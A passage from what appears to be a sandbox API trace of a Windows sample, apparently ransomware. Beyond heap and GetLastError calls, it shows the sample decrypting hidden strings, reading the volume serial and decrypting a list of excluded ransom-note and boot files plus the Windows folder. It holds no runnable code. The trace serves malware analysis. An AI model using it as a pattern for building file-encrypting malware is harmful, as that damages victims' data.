() returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.741] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.742] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.743] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.744] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.745] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] GetLastError () returned 0x0 [0036.746] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x296a068, Size=0xb46) returned 0x296a068 [0036.746] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x86) returned 0x2969988 [0036.746] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2969988, Size=0xa8) returned 0x2967e48 [0036.746] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1a) returned 0x2960550 [0036.746] CryptImportKey (in: hProv=0xd64968, pbData=0xcff5a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff60c | out: phKey=0xcff60c*=0xd726f8) returned 1 [0036.746] CryptSetKeyParam (hKey=0xd726f8, dwParam=0x1, pbData=0xcff5f4, dwFlags=0x0) returned 1 [0036.746] CryptDecrypt (in: hKey=0xd726f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2960578, pdwDataLen=0xcff5c0 | out: pbData=0x2960578, pdwDataLen=0xcff5c0) returned 1 [0036.746] CryptDestroyKey (hKey=0xd726f8) returned 1 [0036.746] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2961038 [0036.746] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x2961060 [0036.746] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961088 [0036.746] CryptImportKey (in: hProv=0xd64968, pbData=0xcff57c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5e4 | out: phKey=0xcff5e4*=0xd723f8) returned 1 [0036.746] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff5cc, dwFlags=0x0) returned 1 [0036.746] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961088, pdwDataLen=0xcff598 | out: pbData=0x2961088, pdwDataLen=0xcff598) returned 1 [0036.746] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.746] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961088 | out: hHeap=0x2960000) returned 1 [0036.746] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2961038, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.746] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961060 | out: hHeap=0x2960000) returned 1 [0036.746] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2960578 | out: hHeap=0x2960000) returned 1 [0036.746] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcff64c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcff64c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.747] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961038 | out: hHeap=0x2960000) returned 1 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x28) returned 0x2960578 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967f68 [0036.747] CryptImportKey (in: hProv=0xd64968, pbData=0xcff4b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff51c | out: phKey=0xcff51c*=0xd726f8) returned 1 [0036.747] CryptSetKeyParam (hKey=0xd726f8, dwParam=0x1, pbData=0xcff504, dwFlags=0x0) returned 1 [0036.747] CryptDecrypt (in: hKey=0xd726f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2967f68, pdwDataLen=0xcff4d0 | out: pbData=0x2967f68, pdwDataLen=0xcff4d0) returned 1 [0036.747] CryptDestroyKey (hKey=0xd726f8) returned 1 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967f80 [0036.747] CryptImportKey (in: hProv=0xd64968, pbData=0xcff4ac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff514 | out: phKey=0xcff514*=0xd72438) returned 1 [0036.747] CryptSetKeyParam (hKey=0xd72438, dwParam=0x1, pbData=0xcff4fc, dwFlags=0x0) returned 1 [0036.747] CryptDecrypt (in: hKey=0xd72438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2967f80, pdwDataLen=0xcff4c8 | out: pbData=0x2967f80, pdwDataLen=0xcff4c8) returned 1 [0036.747] CryptDestroyKey (hKey=0xd72438) returned 1 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967fe0 [0036.747] CryptImportKey (in: hProv=0xd64968, pbData=0xcff4a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff50c | out: phKey=0xcff50c*=0xd729b8) returned 1 [0036.747] CryptSetKeyParam (hKey=0xd729b8, dwParam=0x1, pbData=0xcff4f4, dwFlags=0x0) returned 1 [0036.747] CryptDecrypt (in: hKey=0xd729b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2967fe0, pdwDataLen=0xcff4c0 | out: pbData=0x2967fe0, pdwDataLen=0xcff4c0) returned 1 [0036.747] CryptDestroyKey (hKey=0xd729b8) returned 1 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967fb0 [0036.747] CryptImportKey (in: hProv=0xd64968, pbData=0xcff49c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff504 | out: phKey=0xcff504*=0xd726f8) returned 1 [0036.747] CryptSetKeyParam (hKey=0xd726f8, dwParam=0x1, pbData=0xcff4ec, dwFlags=0x0) returned 1 [0036.747] CryptDecrypt (in: hKey=0xd726f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2967fb0, pdwDataLen=0xcff4b8 | out: pbData=0x2967fb0, pdwDataLen=0xcff4b8) returned 1 [0036.747] CryptDestroyKey (hKey=0xd726f8) returned 1 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961038 [0036.747] CryptImportKey (in: hProv=0xd64968, pbData=0xcff494, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4fc | out: phKey=0xcff4fc*=0xd727b8) returned 1 [0036.747] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0xcff4e4, dwFlags=0x0) returned 1 [0036.747] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961038, pdwDataLen=0xcff4b0 | out: pbData=0x2961038, pdwDataLen=0xcff4b0) returned 1 [0036.747] CryptDestroyKey (hKey=0xd727b8) returned 1 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2968070 [0036.747] CryptImportKey (in: hProv=0xd64968, pbData=0xcff48c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4f4 | out: phKey=0xcff4f4*=0xd726f8) returned 1 [0036.747] CryptSetKeyParam (hKey=0xd726f8, dwParam=0x1, pbData=0xcff4dc, dwFlags=0x0) returned 1 [0036.747] CryptDecrypt (in: hKey=0xd726f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2968070, pdwDataLen=0xcff4a8 | out: pbData=0x2968070, pdwDataLen=0xcff4a8) returned 1 [0036.747] CryptDestroyKey (hKey=0xd726f8) returned 1 [0036.747] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x70) returned 0x29610d0 [0036.747] CryptImportKey (in: hProv=0xd64968, pbData=0xcff484, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4ec | out: phKey=0xcff4ec*=0xd725f8) returned 1 [0036.747] CryptSetKeyParam (hKey=0xd725f8, dwParam=0x1, pbData=0xcff4d4, dwFlags=0x0) returned 1 [0036.747] CryptDecrypt (in: hKey=0xd725f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x29610d0, pdwDataLen=0xcff4a0 | out: pbData=0x29610d0, pdwDataLen=0xcff4a0) returned 1 [0036.747] CryptDestroyKey (hKey=0xd725f8) returned 1 [0036.747] htonl (hostlong=0xb4197730) returned 0x307719b4 [0036.747] CryptGenRandom (in: hProv=0xd64968, dwLen=0x20, pbBuffer=0xcff5e0 | out: pbBuffer=0xcff5e0) returned 1 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x28) returned 0x2961148 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967f98 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x2967ef8 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x14) returned 0x2961178 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2968100 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x80) returned 0x2961198 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2968040 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x82) returned 0x2969aa8 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2968010 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x2961308 [0036.748] CryptGenRandom (in: hProv=0xd68090, dwLen=0x55, pbBuffer=0xcff54a | out: pbBuffer=0xcff54a) returned 1 [0036.748] GetLastError () returned 0x0 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967ff8 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x80) returned 0x2961428 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2968088 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x2) returned 0x2961408 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x29613a8 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967fc8 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x80) returned 0x29614b0 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x29680d0 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x2961348 [0036.748] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961408, Size=0x82) returned 0x2969118 [0036.748] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961348, Size=0x100) returned 0x2968518 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x29680e8 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x82) returned 0x2969628 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967f38 [0036.748] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x82) returned 0x29696b8 [0036.748] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2969628, Size=0x104) returned 0x2968620 [0036.748] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961198, Size=0x100) returned 0x2968730 [0036.748] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2969118, Size=0x104) returned 0x2968838 [0036.748] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2968518, Size=0x200) returned 0x2968948 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29613a8 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968948 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29680d0 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961428 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967ff8 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29614b0 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967fc8 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968838 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968088 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968620 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29680e8 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29696b8 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967f38 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967ef8 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967f98 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2969aa8 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968040 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968730 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968100 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961308 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968010 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961148 | out: hHeap=0x2960000) returned 1 [0036.749] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961178 | out: hHeap=0x2960000) returned 1 [0036.749] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0xa4) returned 0x2961148 [0036.749] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x62) returned 0x2961428 [0036.749] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961428, Size=0xc2) returned 0x2961428 [0036.749] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2967fc8 [0036.749] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0xb40) returned 0x2968518 [0036.749] CryptImportKey (in: hProv=0xd64968, pbData=0xcff47c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4e4 | out: phKey=0xcff4e4*=0xd723f8) returned 1 [0036.749] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff4cc, dwFlags=0x0) returned 1 [0036.749] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2968518, pdwDataLen=0xcff498 | out: pbData=0x2968518, pdwDataLen=0xcff498) returned 1 [0036.749] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.749] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x29680a0 [0036.749] CryptImportKey (in: hProv=0xd64968, pbData=0xcff474, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4dc | out: phKey=0xcff4dc*=0xd726f8) returned 1 [0036.749] CryptSetKeyParam (hKey=0xd726f8, dwParam=0x1, pbData=0xcff4c4, dwFlags=0x0) returned 1 [0036.750] CryptDecrypt (in: hKey=0xd726f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x29680a0, pdwDataLen=0xcff490 | out: pbData=0x29680a0, pdwDataLen=0xcff490) returned 1 [0036.750] CryptDestroyKey (hKey=0xd726f8) returned 1 [0036.750] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0036.750] CryptImportKey (in: hProv=0xd64968, pbData=0xcff44c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4b4 | out: phKey=0xcff4b4*=0xd72738) returned 1 [0036.750] CryptSetKeyParam (hKey=0xd72738, dwParam=0x1, pbData=0xcff49c, dwFlags=0x0) returned 1 [0036.750] CryptDecrypt (in: hKey=0xd72738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0xcff468 | out: pbData=0x296abb8, pdwDataLen=0xcff468) returned 1 [0036.750] CryptDestroyKey (hKey=0xd72738) returned 1 [0036.750] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x84) returned 0x2969868 [0036.750] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x84) returned 0x2969fb8 [0036.750] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296ac50 [0036.750] CryptImportKey (in: hProv=0xd64968, pbData=0xcff424, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff48c | out: phKey=0xcff48c*=0xd72578) returned 1 [0036.750] CryptSetKeyParam (hKey=0xd72578, dwParam=0x1, pbData=0xcff474, dwFlags=0x0) returned 1 [0036.750] CryptDecrypt (in: hKey=0xd72578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296ac50, pdwDataLen=0xcff440 | out: pbData=0x296ac50, pdwDataLen=0xcff440) returned 1 [0036.750] CryptDestroyKey (hKey=0xd72578) returned 1 [0036.750] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296ac50 | out: hHeap=0x2960000) returned 1 [0036.750] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x2969868, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0036.750] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2969fb8 | out: hHeap=0x2960000) returned 1 [0036.750] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0036.750] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x29611f8 [0036.750] CryptImportKey (in: hProv=0xd64968, pbData=0xcff448, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4b0 | out: phKey=0xcff4b0*=0xd723f8) returned 1 [0036.753] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff498, dwFlags=0x0) returned 1 [0036.753] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x29611f8, pdwDataLen=0xcff464 | out: pbData=0x29611f8, pdwDataLen=0xcff464) returned 1 [0036.753] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.753] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x18) returned 0x29614f8 [0036.753] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x18) returned 0x2961518 [0036.753] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0036.753] CryptImportKey (in: hProv=0xd64968, pbData=0xcff420, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff488 | out: phKey=0xcff488*=0xd725f8) returned 1 [0036.753] CryptSetKeyParam (hKey=0xd725f8, dwParam=0x1, pbData=0xcff470, dwFlags=0x0) returned 1 [0036.753] CryptDecrypt (in: hKey=0xd725f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0xcff43c | out: pbData=0x296abb8, pdwDataLen=0xcff43c) returned 1 [0036.753] CryptDestroyKey (hKey=0xd725f8) returned 1 [0036.753] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0036.753] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x29614f8, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0036.753] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961518 | out: hHeap=0x2960000) returned 1 [0036.753] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29611f8 | out: hHeap=0x2960000) returned 1 [0036.753] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x296abb8 [0036.753] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x296add0 [0036.753] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x296add0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0036.753] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296add0 | out: hHeap=0x2960000) returned 1 [0036.753] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0xb38) returned 0x296add0 [0036.753] GetLastError () returned 0x0 [0036.753] GetLastError () returned 0x0 [0036.753] GetLastError () returned 0x0 [0036.753] GetLastError () returned 0x0 [0036.753] GetLastError () returned 0x0 